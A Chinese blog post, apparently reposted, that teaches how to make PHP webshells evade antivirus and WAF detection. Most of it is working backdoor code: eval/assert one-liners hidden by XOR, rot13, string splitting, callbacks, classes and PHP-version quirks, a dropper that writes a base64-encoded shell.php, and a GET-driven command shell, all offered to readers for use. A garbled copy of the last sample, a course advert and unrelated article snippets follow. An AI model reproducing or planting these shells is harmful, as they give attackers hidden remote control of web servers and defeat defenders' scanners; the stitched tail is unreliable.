关于PHP的webshell免杀小结

news2024/10/7 18:20:24

0X00普通的一句话木马(适用于CTF和小站)

<?php eval($_POST['a']); ?>
//函数的相似替换
<?php assert($_POST['a']); ?>

<?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个"@“字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不太重要的"组件”,而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面…

接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看PHP手册([友情链接](https://www.runoob.com/php/php-
functions.html))发现如下区别:

  • eval():函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
  • assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错

可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get…),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。

小提示:php一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)

0X01 php的免杀(字符串免杀思路)


字符串异或加密

字符串base家族加密

字符串rot13加密

字符串拼接

php免杀之异或免杀

大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密…)。所以我们常常会说:白名单>WAF>黑名单!

"^"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串([参考链接](https://www.leavesongs.com/PENETRATION/webshell-
without-alphanum.html))

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
$___=$$__;
$_($___[_]); 


<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
${$__}[!$_](${$___}[$_]);
?>


<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

小提示:可以通过下列的PHP异或脚本解决生成函数的问题

<?php
    $test = '~!@#$%^&*()_+\|/?.,-={}[]';
    for($i=0;$i<strlen($test);$i++){
        for($j=0;$j<strlen($test);$j++){
            if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }
        }
    } 
?>

虽然简单方便,但是容易通过静态识别被发现,这样我们的免杀就会被识破,为了继续进行wbshell免杀,我们可以通过学习下面的免杀技巧,并与之相结合!从而达到绕过WAF与php禁用函数的目的!

php免杀之base家族加密

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>

这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用,效果是不错的!

php免杀之rot13加密

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>

rot13对eavl函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)!

1661748548890-82dea0b9-b474-4c44-9363-d29913f663b3.png

虽然威胁级别很高,但是我们可以作用于其他免杀的处理上,使得免杀率得到一定程度的下降!(但是下面这个却被杀的死死的,我不理解,会不会是格式原因呢?)

<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!',$b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>

1661748979161-93a6a991-0702-4f17-aed8-22ba7059c3f3.png

php免杀之拼接免杀

<?php $k="e"."v"."a"."l"; $k(${"_PO"."ST"} ['110']);?>

1661749088249-215a4b8c-fef7-4bcb-8876-c32afd1e7e1f.png

我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>

1661749141203-b6efe4c6-138a-4fb1-80af-f724520bbc33.png

也就是说,我们只要把PSOT函数在用rot13加个密就可以了;或者考虑变量替换(但是根据D盾的检测来看,效果不一定会比加密好)!

php免杀之混淆免杀

<?php 
function a() 
{ 
return "/*110110110110*/".$_POST['110']."/*110110110110**/"; 
} 
@eval(a()); 
?>

1661749442895-962013b2-7731-4f3d-a615-3a354b07f198.png

单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!

<?php $a = str_replace(x,"","xexaxvxlx"); $a(@$_POST["110"]); ?>

1661749531674-2d78ff30-c3df-4da9-bfb2-7b20774a627b.png

这里多少一句啊,为了避免被检测到,可以参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。

0X02 php的免杀(函数特性免杀思路)


函数替换

自定义函数绕过

变形回调

数组

可变变量

php免杀之函数替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。
  
array_filter():通过函数过滤掉数组中的元素
  
array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串
  
array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集
  
array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集
  
array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集
  
array_intersect_assoc():比较两个数组的键名和键值,并返回交集
  
array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集
  
array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集  
xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。  
xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。  
xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE  
  
xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。

xml_set_unparsed_entity_decl_handler():函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回
true;否则返回 false。

尽量去PHP语法手册,找一些及其偏门的函数…

php免杀之自定义函数绕过(可搭配大小写)

<?php 
 function aaa($a){
     return $a;
 }
 function bbb($b){
     return eval($b);
 }
 function post(){
    return @$_POST['110'];
}    
function run(){
    return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>

1661750796549-4a0477b0-d801-4a81-af3c-0da73047339d.png

我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名
不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!

php免杀之回调函数加组合绕过

array_walk()  
array_map()
filter_var() 
filter_var_array() 
uasort() 
uksort() 

以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!

php免杀之数组绕过

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>

1663228728_6322db3846e928ae12d59.png!small?1663228727485

php免杀之可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

<?php 
$zeo='miansha';
$$zeo=$_POST['110'];
eval($miansha);
?>

1661750855191-c6c5c08e-2950-4369-bcc2-1c88c952aeb7.png

这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!

php的免杀使用类绕过免杀

类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:

<?php 
 class zeo2
 {
   public $b ='';
   function post(){
     return $_POST['x'];
   }
 }
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
          $code=parent::post();
    assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>

1661751071629-070e64c4-f620-4710-9a83-e8e63968bc13.png

0X03 php的免杀(基于PHP版本差异进行免杀)


传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

1、利用特殊符号来引起报错

<?php \echo 'whoami'; ?>

PHP版本:只限于5.2版本

它的要求是能干扰到杀软的正则判断,还要代码能执行。这个可以自己慢慢测试。具体就是利用各种回车、换行、null和空白字符,这里我们尝试改造为可连接的一句话木马,配合上面的可变变量

<?php 
$xxxxxxxxxxxxxx='miansha'; 
$$xxxxxxxxxxxxxx=$_POST['110']; 
eval(``.$miansha); 
?>

1661751206423-45b55ef5-8f6c-4173-b18b-16739d083eeb.png

2、十六进制字符串

PHP版本:只限于5.3和5.5版本;在php7中不认为是数字,php5则依旧为数字。(友情提示: 5.X可以成功执行命令,php7无法执行)

<?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?>

1661751299889-a67ef200-31b6-467e-963e-52c05a12d68b.png

小提示:对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。

3、利用在语法不换行来执行命令

PHP版本:只限于7.3.4版本,如果是其他的版本就会报错,所以针对性较强!

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>

小提示 :7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧!

1663229252_6322dd448aab077782e4d.png!small?1663229251201

0X04PHP一句话免杀实例

我这边就送个大家一些免杀把!

<?php 
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//连接密码110

1663227551_6322d69f9882146a6e6fb.png!small?1663227550279

另外在附上小马一个,希望大家一起集思广益!

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3

1663228172_6322d90c734d1651e387d.png!small?1663228171162

0X04 一句话免杀小结

这篇文章的目的是想让大家对一句话木马免杀有一定的了解,在免杀对抗越来越激烈的情况下,我们不得不发散自己的思维。这次就由我来抛砖引玉,大家有什么想法,可以评论区交流!

其他参考:

PHP WebShell
免杀:链接

PHP大小写辨析:链接

;
while($objPQ->valid()){
m . = m.= m.=objPQ->current();
$objPQ->next();
}
echo m ( m( m(cur->getMessage());
?>
//密钥3

[外链图片转存中…(img-dGeDDTXg-1677132946304)]

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/365870.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【科研】测试速通:python不同文件夹下同名图像拼接

论文必备图像拼接笔记 速通结果&#xff1a; 现有&#xff1a;测试样本相同&#xff08;名命相同&#xff09;&#xff0c;测试模型不同&#xff0c;测试结果分别保存至不同文件夹 目标&#xff1a;结果显示在同一张图像上 目录 论文必备图像拼接笔记 1.如果图像格式不一致…

怎么维护Linux VPS 服务器?简单7个步骤

维护VPS的目的是为了确保服务器网络始终畅通无阻。请注意&#xff0c;此列表中的任务并不是服务器维护所需完成的唯一任务。以下是 Linux VPS 服务器所有者可以做些什么来维护他们的服务器。 1.监控磁盘空间 服务器是个人服务器还是具有多个用户帐户的服务器并不重要&#xff0…

精简版SDL落地实践

一、前言一般安全都属于运维部下面&#xff0c;和上家公司的运维总监聊过几次一些日常安全工作能不能融入到DevOps中&#xff0c;没多久因为各种原因离职。18年入职5月一家第三方支付公司&#xff0c;前半年在各种检查中度过&#xff0c;监管形势严峻加上大领导对安全的重视(主…

【数据结构】二叉树(C语言实现)

文章目录一、树的概念及结构1.树的概念2.树的相关概念名词3.树的表示4.树在实际中的运用二、二叉树概念及结构1.二叉树的概念2.特殊的二叉树3.二叉树的性质4.二叉树的存储结构三、二叉树链式结构的实现1.结构的定义2.构建二叉树3.二叉树前序遍历4.二叉树中序遍历5.二叉树后序遍…

QWebEngineView 类 详细使用说明

文章目录 一、前言 二、详述 三、属性 四、公共函数 五、重新实现的公共函数 六、公共槽函数 七、信号 八、保护函数 九、重新实现的受保护函数 10、总结 一、前言 原文链接 QWebEngineView类提供了一个小部件&#xff0c;用于查看和编辑Web文档。 Header: #include < …

【Web安全-MSF记录篇章一】

文章目录前言msfvenom生成远控木马基本系统命令webcam 摄像头命令常用的信息收集脚本注册表设置nc后门开启 rdp&添加用户获取哈希mimikatz抓取密码前言 最近打站&#xff0c;可以感觉到之前的学的渗透知识忘记很多。。。。。多用多看多练&#xff0c;简单回顾一下 msfven…

2023年了,零基础小白转行IT学习Java还有前途吗?

“2023年了&#xff0c;转行IT学习Java是不是已经听过看过很多次了&#xff0c;Java从出现到现在有多少年了呢&#xff1f;掐指一算&#xff0c;Java是1995年由Sun公司推出的一款高级编程语言……距今已有28年了&#xff01; Sun公司都被收购了&#xff0c;莫不是Java也要垮台了…

Android实现Dribbble上动感的Gallery App Icon

先来看看原Dribbble上动感的Gallery App Icon效果图思路拆解一下&#xff0c;还是比较简单&#xff0c;需要绘制的有&#xff1a;圆形背景太阳(圆形)山(三角形)云朵(圆角矩形 三个圆)需要进行的动画&#xff1a;太阳 - 旋转动画山 - 上下平移动画云朵 - 左右平移动画不必绘制圆…

随想录二刷 (双指针法) leetcode 27 26 283 844

双指针法的原理 双指针法相对于暴力解法的优点有以下几点 暴力遍历的时间复杂度会比较高双指针法利用两个指针进行遍历完成双层循环所做的事情 双指针一般有两种方法 同向指针&#xff0c;双向指针 第一题 leetcode 27 移除元素 题目描述 题目分析 采用暴力遍历可以得出结…

vector的基本使用

目录 介绍&#xff1a; vector iterator 的使用 增删查改 增&#xff08;push_back insert&#xff09;&#xff1a; 删(pop_back erase)&#xff1a; swap&#xff1a; vector的容量和扩容&#xff1a; 排序&#xff08;sort&#xff09;&#xff1a; 介绍&#xff…

SpringBoot入门(二)

这里写目录标题一、SpringBoot整合Junit1.1 搭建SpringBoot工程1.2 引入starter-test起步依赖1.3 编写类1.4 测试二、SpringBoot整合mybatis2.1 搭建SpringBoot工程2.2 引入mybatis起步依赖&#xff0c;添加驱动2.3 编写DataSource和MyBatis相关配置2.4 定义表和实体类2.5 编写…

100%BIM学员的疑惑:不会CAD可以学Revit吗?

在新一轮科技创新和产业变革中&#xff0c;信息化与建筑业的融合发展已成为建筑业发展的方向&#xff0c;将对建筑业发展带来战略性和全局性的影响。 建筑业是传统产业&#xff0c;推动建筑业科技创新&#xff0c;加快推进信息化发展&#xff0c;激发创新活力&#xff0c;培育…

apk中代码执行adb指令实现

背景&#xff1a;想要在android apk中直接使用adb指令&#xff0c;从而不需要把手机通过数据线方式连接到电脑&#xff0c;在电脑端执行adb指令。 一、权限相关 想要在apk代码中执行adb命令&#xff0c;涉及到执行权限。 首先手机需要有root权限。其次就算手机已经root了&…

yolov5/6/7系列模型训练日志结果数据对比分析可视化

早在之前使用yolov3和yolov4这类项目的时候可视化分析大都是自己去做的&#xff0c;到了yolov5的时候&#xff0c;变成了一个工具包了&#xff0c;作者全部集成进去了&#xff0c;这里我们以一个具体的结果为例&#xff0c;如下&#xff1a;整个训练过程产生的指标等数据都会自…

11.3 基于Django4的可重用、用户注册和登录系统搭建(优化)

文章目录邮件注册发送邮件功能测试基本的邮件注册功能实现完成注册表单完成注册的业务逻辑密码加密功能实现邮件注册确认创建模型修改视图测试处理邮件确认请求修改登录规则测试邮件注册 根据官方文档进行&#xff1a;https://docs.djangoproject.com/zh-hans/4.1/topics/emai…

什么是智慧实验室?

智慧实验室是利用现代信息技术和先进设备将实验室实现智能化和智慧化的概念。通过将各种数据、信息和资源整合在一起&#xff0c;实现实验室设备的互联互通&#xff0c;数据的实时采集、传输、处理和分析&#xff0c;从而提高实验室的效率、精度和可靠性。一、智慧实验室包含多…

Java~对于代码块与内部类的理解

目录 代码块 普通代码块 构造代码块 静态代码块 内部类 成员内部类 普通内部类 静态内部类 局部内部类 代码块 使用“{}”定义的一段代码成为代码块&#xff0c;代码块分为普通代码块、构造代码块、匿名代码块、同步代码块。 普通代码块 定义在方法中的代码&#x…

【go语言之thrift协议一】

go语言之thrift协议thrift文件shared.thriftSharedStructSharedServiceSharedServiceProcessorSharedServiceGetStructArgsSharedServiceGetStructResulttutorial.thrift基本数据类型引入其他thrift文件自定义类型定义常量enum继承thrift 相对于grpc而言&#xff0c;可能用的不…

逆向-还原代码之max 再画堆栈图 (Interl 64)

// source code #include <stdio.h> void max(int * a, int * b) { if (*a < *b) *a *b; } int main() { int a 5, b 6; max(&a, &b); printf("a, b max %d\n", a); return 0; } // 再画堆栈图 下周一&#xff08;2.27…

JavaEE简单示例——MyBatis关联映射

简单介绍&#xff1a; 在我们之前的案例中&#xff0c;我们进行了简单查询&#xff0c;条件产村&#xff0c;动态SQL的条件查询&#xff0c;但是这些操作都是在一张表中进行的&#xff0c;而在我们之前学习MySQL中还有一个很重要的操作就是多表查询操作&#xff0c;也就是说通…